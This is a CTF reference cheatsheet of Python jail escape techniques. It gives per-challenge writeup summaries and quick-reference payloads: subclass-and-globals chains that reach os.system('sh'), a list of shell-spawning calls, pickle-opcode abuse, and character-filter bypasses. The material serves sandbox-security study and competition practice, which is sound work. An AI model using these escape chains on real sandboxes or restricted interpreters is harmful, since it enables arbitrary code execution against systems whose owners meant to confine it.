Python Jail Escape Techniques
This document provides a comprehensive collection of Python jail escape techniques from various CTF challenges. Python jails restrict execution by filtering characters, banning builtins, or limiting available operations.
References:
Quick Reference Cheatsheet
Unicode Character Bypass
Use Unicode characters that look like ASCII but bypass filters. See details.
Variable Assignment Without =
- In
execcontexts:a=1(normal assignment) - In
evalcontexts:[a:=1](walrus operator) - List comprehension:
[a for a in [1]] - Compact form with spaces:
[[a]for[a]in[[1]]]
Function Calls Without Parentheses
__import__('os')alternatives:help.__class__.__getitem__ = __import__;help['os']help.__class__.__contains__ = __import__('os').system;'sh' in helpExceptionGroup.__class_getitem__ = __import__; ExceptionGroup["os"]help.__class__.__getattr__ = __import__; help.os
breakpoint():license._Printer__setup = breakpoint; str(license)exec(input()):@exec\n@input\nclass a: pass
String Construction Without Quotes
- Character extraction:
help.__doc__[index](extract from existing strings)
Accessing Builtins When Banned
- Get subclasses of object, then get builtins/shell:
- Get subclasses of object/tuple/etc:
- object:
().__class__.__base__.__subclasses__() - object:
().__class__.__mro__[1].__subclasses__()or().__class__.__mro__.__getitem__(1).__subclasses__() - object:
().__setattr__.__objclass__.__subclasses__() - tuple:
().__class__.__subclasses__() - dict:
{}.__class__.__subclasses__()
- object:
- Then, get builtins via
class.*.__globals__["__builtins__"]:().__class__.__base__.__subclasses__()[os_wrap_close_index].__init__.__globals__["__builtins__"]().__class__.__subclasses__()[codecs_codecinfo_index].__new__.__globals__["__builtins__"]- With
import re:''.__class__.__subclasses__()[strenum_index].__dir__.__globals__["__builtins__"]{}.__class__.__subclasses__()[collections_counter_index].__pos__.__globals__["__builtins__"]
- Or, get shell without getting builtins:
().__class__.__base__.__subclasses__()[os_wrap_close_index].__init__.__globals__["system"]("sh"), find os_wrap_close_index viastr(().__class__.__base__.__subclasses__()).split(", ").index("<class 'os._wrap_close'>")().__class__.__base__.__subclasses__()[builtinimporter_index].load_module("os").system("sh"), find builtinimporter_index viastr(().__class__.__base__.__subclasses__()).split(", ").index("<class '_frozen_importlib.BuiltinImporter'>")
- Use automated script to find chains
- Get subclasses of object/tuple/etc:
- When
__import__is available:().__reduce_ex__(2)[0].__builtins__().__reduce_ex__(2)[0].__globals__["__builtins__"]
- When you have access to exception:
try: 1/0 except Exception as e: print(e.__traceback__.tb_frame.f_builtins) print(e.__traceback__.tb_frame.f_globals["__builtins__"])
Numbers and Booleans Without Digits
True:[[]]>[],not[]is[],[]==[]False:[]>[],[]is[]- Increment:
-~xequalsx + 1
Obtaining Shell Access
_aix_support._read_cmd_output(cmd)_osx_support._read_output(cmd)breakpoint()code.InteractiveConsole().interact()code.interact()doctest.debug_script(src)os.execl("/bin/sh", "sh")os.system("sh")pdb.run(src)pdb.set_trace()pdb.test()pydoc.pipe_pager(text, cmd)pydoc.tempfile_pager(text, cmd)subprocess.Popen(['sh'])subprocess.check_call(['sh'])
jailCTF 2026 the quasar files
Requirements:
- No builtins: use
().__class__.__base__.__subclasses__()[os_wrap_close_index].__init__.__globals__["system"]("sh")to get shell - No
[]"': use__getitem__and().__doc__.__getitem__
Details here.
jailCTF 2026 collatz
- No builtins: use
().__class__.__subclasses__()[codecs_codecinfo_index].__new__.__globals__["__builtins__"]["__import__"]("subprocess").check_call("rbash") - Length of words (
\w+) conforming to collatz sequence: 9 (__class__) -> 28 -> 14 (__subclasses__) -> 7 (__new__) -> 22 -> 11 (__globals__) -> 34 (__builtins__with padding) -> 17 (array subscript) -> 52 (__import__with padding) -> 26 (array subscript) -> 13 (subprocesswith padding) -> 40 (array subscript) -> 20 -> 10 (check_call) -> 5 (rbash), use[value][0000000]to handle the rest widths
Details here.
SECCON CTF 14 2026 Final increasing
Requirements:
- No builtins: use
().__setattr__.__objclass__.__subclasses__() - Increasing length: use hex literal e.g.
0x00000000123and string literal plus slicing e.g."sh000000000"[:2](where2can be computed via(([]==[])+([]==[]))) to handle the increasing requirement
Details here.
hxp 39C3 CTF 2025 sponsored
Requirements:
- At most one occurrence for each character
.,(+): use function call +__getattribute__fora.b, call function step by step and save intermediate values via list comprehension - No builtins: use
[].__setattr__.__objclass__.__subclasses__()[os_wrap_close_index].__init__.__globals__["system"]("sh")
Details here.
TSG CTF 2025 SafePickle
Requirements:
- Pickle without
EXT1/EXT2/EXT4/REDUCE/INST/OBJ/PERSID/BINPERSID: useBUILDforlicense._Printer__setup = code.interactandprint(license)to runcode.interact
Details here.
HKCERT CTF 2025 Quals easyJail
Requirments:
- banned pickle
NEWOBJ_EX/INST/REDUCE/OBJ/NEWOBJopcodes: overridepickle._Unpickler.pop_marktocode.interactand triggerpop_mark()viaTUPLE
Details here.
SECCON CTF 14 2025 Quals excepython
Requirements:
- At most one occurrence for each character
.,(+): use lambda +__getattribute__fora.b, call function step by step, save intermediate values in exceptionKeyErrorvia{}[obj] - No builtins: use
[].__setattr__.__objclass__.__subclasses__()[os_wrap_close_index].__init__.__globals__["system"]("sh")
Details here.
Hack.lu CTF 2025 FÄNGELSE
Requirements:
- No more than 5 characters: use
exit(flagbuf)to leak flag, usea=exit;len=ato override function in two steps, useⅺforxito break the length limitation; alternatively, setlen=allto bypass length check
Details here.
jailCTF 2025 impossible
Requirements:
- No parens: use
obj.__class__.__getitem__ = funcandobj[arg]to call function - No spaces or equal signs: use
[[]for[a]in[[b]]]instead ofa = b - No strings: set
obj.__class__.__getattr__ = __import__andobj.osto importos
Details here.
jailCTF 2025 one
Requirements:
- Only one
.: use lambda function to reusevalue.__getattribute__call - No builtins: use
().__setattr__.__objclass__.__subclasses__()[os_index].__init__.__globals__['system']('sh')to get shell
Details here.
jailCTF 2025 primal
Requirements:
- No
eta: no getattr/setattr, useobj[name]to access fields - No builtins: use
().__reduce_ex__(2)[0].__globals__['__builtins__']['__import__']('os')to get os - Words should have prime length: use
'aa'.__len__()for2, use\xXXin strings
Details here.
CrewCTF 2025 pyfuck
Requirement:
- Only alphabetic characters, parentheses and plus sign: use plus sign to construct string, generator syntax and function call
- Limited builtins and count of
+: search for a short combination to create the intended string
Details here.
CrewCTF 2025 Bytecode Bonanza - Basics
Requirements:
- Limit to the following opcodes in Python 3.9:
- POP_TOP: pop top element
- DUP_TOP: duplicate top element
- UNARY_INVERT: invert top element
- BINARY_ADD: pop two elements, push the sum of them
- POP_JUMP_IF_TRUE: pop top element, jump to target if element is true (non-zero)
- EXTENDED_ARG: construct 16 bit argument for the next op
- Implement three functions:
a-b,1337anda*b
Details here.
WHY2025 CTF TitleCase
Use unicode bypass to avoid str.title().
Details here.
FortID CTF 2025 Michael Scottfield
Requirements:
- Length <= 500: Easy to achieve
- Allow
()but no parameters: Usepdb.set_trace()orcode.InteractiveConsole().interact() - No strings: Use docstrings and
str[index]to create strings - No numbers: Use
Trueas 1 - No builtins: Use
().__class__.__base__.__subclasses__()
Details here.
LACTF 2025 farquaad
Requirements:
- Only printable characters
- No
eorE: Uselist(x.__dict__)[index]to find strings withein it and call it viax.__dict__[list(x.__dict__)[index]](args) - No builtins: Use
().__class__.__mro__[1].__subclasses__()
Details here.
scriptCTF 2025 Modulo
Requirements:
- No builtins: use
().__class__.__base__.__subclasses__()[os_wrap_index].__init__.__globals__["system"]("sh") - No lowercase letters except
c, only allow%binary op: use"%c%c" % (97, 98)to construct strings - No integers: use
()<((),)as1, use-~xasx+1 - No
.: usegetattr(A, "B")asA.B
Details here.
UIUCTF 2024 Astea
Requirements:
- No function call: Use
f"{license}" for license._Printer__setup in [function_to_call]]to callfunction_to_call - No builtins: Use
.__builtins__of the given function to access builtins dict, or.__globals__["__builtins__"]of the given function to access builtins module - No assignment: Use
[a:=b]for assignment
Details here.
jailCTF 2024 filterd
Requirement:
- Input length <= 14: raise input length limit on the fly
- Blacklisted builtins: reuse existing function to re-evaluate
Details here.
jailCTF 2024 no-nonsense
Requirements:
- No
([=]): call functions using decorators,@exec\n@input\nclass a: pass - AST name does not appear in input: use unicode bypass
- No newlines: use
\rinstead of\nfor multiline code
Details here.
UofTCTF 2024 Jail Zero
Requirements:
- No alphabetic: Use Unicode Block “Mathematical Alphanumeric Symbols” to bypass
- No numbers: Use
(''=='')as 1 - No double underscores: Use FULLWIDTH LOW LINE
- No builtins: Use
().__class__.__base__.__subclasses__()
Details here.
SECCON CTF 13 2024 Quals 1linepyjail
Requirements:
- Length <= 100: Try hard to reduce input length
- Allow
()but no parameters: Usesys.modules["pdb"].set_trace() - No builtins: Use
().__class__.__base__.__subclasses__()to findsys
Details here.
ImaginaryCTF 2024 ok-nice
Requirements:
- No numbers: Use
Trueas 1 - Exception side channel: Use integer division by zero or array out of bounds to guess each character
len(set(input)) <= 17: Reuse characters already appeared
Details here.
ImaginaryCTF 2024 calc
Requirements:
- Input is a expression: Use list comprehension to execute multiple statements
- Input should match regex: Use
1,to bypass since it is not a full match - Audit hook: Add signal handler, raise signal and change content of the audit hook to bypass
Details here.
NTUA_H4CK 2024 Snekbox
Requirements:
- No non-ascii characters
- Blacklisted dangerous functions: Use
globals()[function_name]to bypass
Details here.
TBTL CTF 2024 Squeezing Tightly On Arm
Requirements:
- No
': Use"for strings - Some characters may appear only once: save intermediate values to locals
- No builtins: Use
().__class__.__base__.__subclasses__()to bypass
Details here.
TCP1P CTF 2024 typically not a revenge
Requirements:
- No numbers: Use
arr[[]is[]]forarr[0],arr[not[]is[]]forarr[1],arr[not[]is[]:][not[]is[]]forarr[2] - No parens: Use
[class[arg] for class.__class_getitem__ in [function_to_call]]to call function - No assignments or commas: Use
[... for a in [b] for c in [d]] - No spaces: Use
\fi.e. form feed - No builtins: Use
[].__class__.__base__.__subclasses__() - No sys module: Use
<class 'os._wrap_close'>to find system
Details here.
TCP1P CTF 2024 functional
Requirements:
- Call functions with zero argument, or return value of another function, and all function names should match
[ad-z]+
Details here.
Dice CTF 2024 Quals unipickle
Requirements:
- No whitespace (
.split()[0]): useSTACK_GLOBAL(no newlines needed) - Valid UTF-8 (
.encode()): useBINPUTto consume leading byte 0xC2 as integer index, thenSTACK_GLOBALas continuation byte 0x93
Details here.
TCP1P CTF 2023 PyMagic
Requirements:
- No
(): Useclass.__class_getitem__andclass[]to bypass - No strings: Use docstrings and
str[index]to create strings - No numbers: Use
Trueas 1 - No spaces: Use
\rto bypass while makinginput()happy - No builtins: Use
().__class__.__base__.__subclasses__()
Details here.
b01lers CTF 2023 Blacklisted
Requirements:
- No
.,_, parentheses, brackets, quotes, spaces: use@fdecorator syntax to call functions and form feed\x0cas whitespace open/printstripped: useoopenpen/pprintrint, after stripping only the target word remains- Blacklisted words (
exec,import,os, etc.): usesortedinstead oflist, or fullwidth NFKC bypass forexec
Details here.
Sekai CTF 2023 just-another-pickle-jail
Requirements:
find_classlimited to__main__with substring blacklist, most opcodes disabled: useBUILDto overwriteUnpicklerinstance attributes andBINPERSID/NEXT_BUFFERfor arbitrary function calls
Details here.
GDG Algiers 2022 Type_it
Requirements:
- No non-ascii characters
- No blacklisted characters
- Prone to string injection
Details here.
ImaginaryCTF Round 23 June 2022 Stackless Jail
Requirements:
- Function can only use at most one stack element: use
CALL_FUNCTIONinstead ofCALL_METHOD, i.e. useB = A.method; C = B()instead ofA.method()
Details here.
HITCON 2022 picklection
Requirements:
- Pickle
find_classlimited tocollectionsmodule without__: usecollections.namedtuplewhere a malicious field name with RCE reachesevalas a default argument expression
Details here.